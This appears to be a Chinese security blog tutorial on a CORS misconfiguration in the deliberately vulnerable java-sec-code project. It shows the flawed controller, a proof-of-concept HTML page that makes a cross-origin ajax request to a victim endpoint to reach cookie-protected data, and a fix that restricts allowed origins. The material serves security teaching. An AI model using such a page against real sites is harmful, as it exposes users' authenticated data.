前言

CORS(跨资源共享)是用来实现跨资源访问的,比如有两个域a1.com和b1.com,假设b1.com上面有个接口能够获取一些返回的数据,那么如果我们从a1.com写一段js去请求这个接口的数据,一般来说是请求不了的,会在浏览器爆出CORS错误,但如果有CORS设置,就可以实现这样的访问,甚至可以能够使用b1.com上的cookie。

项目是java-sec-code:[https://github.com/JoyChou93/java-sec-code](

0x01 从java代码出发

进入controller文件

/src/main/java/org/joychou/controller/Cors.java

为了效果更明显,在这人为设定一个cookie(红框中)

图片

读下代码可以看出,控制器会先从请求头读origin,并在返回的response中允许该Origin,34行的这个Access-Control-Allow-Credentials设置为true表明可以跨域使用该站存在的cookie。

我们先本地修改下 header的origin 看下响应包。

图片

说明可以人为设定orgin实现CORS跨域,一般设置为*的时候,表明任何战点都可以进行跨域资源的访问。

那我们来实战一下,是否能打到别人的cookie信息,

环境:

本机是受害者,ip:192.168.1.100 目前已经访问登录过该接口,已有设定的cookie

一台公网vps,ip:124.71.xx.xx 用python开启个服务,上传恶意html代码。

html代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE html>
<html>
<script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script>
<body>
<div id="demo">
<button type="button" id="midi" name="midi">test</button>
</div>

<script>
$(function () {
$("#midi").click(function (event) {

$.ajax({
type: "GET",
url: "http://192.168.1.100:8080/cors/vuln/origin",
headers:{'origin':'*'},
success: function(result) {
console.log(result);
}
});
});
});
</script>
</body>
</html>

服务器开启个http服务,然后受害者机器去访问,可以发现:

图片

控制台提示不能自定义设定请求头,经查阅资料发现,

w3c规定,当请求的header匹配以下不安全字符时,将被终止。

但ajax请求会自动补充origin请求头,造成信息泄露。

0x02 修复

若业务场景中需要跨域去访问资源,但又不能造成信息泄露,这时候就要提前设定好允许跨域的域名,请求方法等等,例如:

1
2
response.addHeader("Access-Control-Allow-Origin", "mi-di.cn");
response.addHeader("Access-Control-Allow-Methods", "POST, GET, OPTIONS, DELETE");

若是设置的允许cookie

1
response.setHeader("Access-Control-Allow-Credentials", "true");  // allow cookie

则前端需要设置相应的withCredentials为true,否则会报错

参考

https://www.cnblogs.com/sijidou/p/13114351.html

https://github.com/JoyChou93/java-sec-code/wiki/CORS

https://blog.csdn.net/cckevincyh/article/details/81140443

https://blog.csdn.net/larger5/article/details/79805617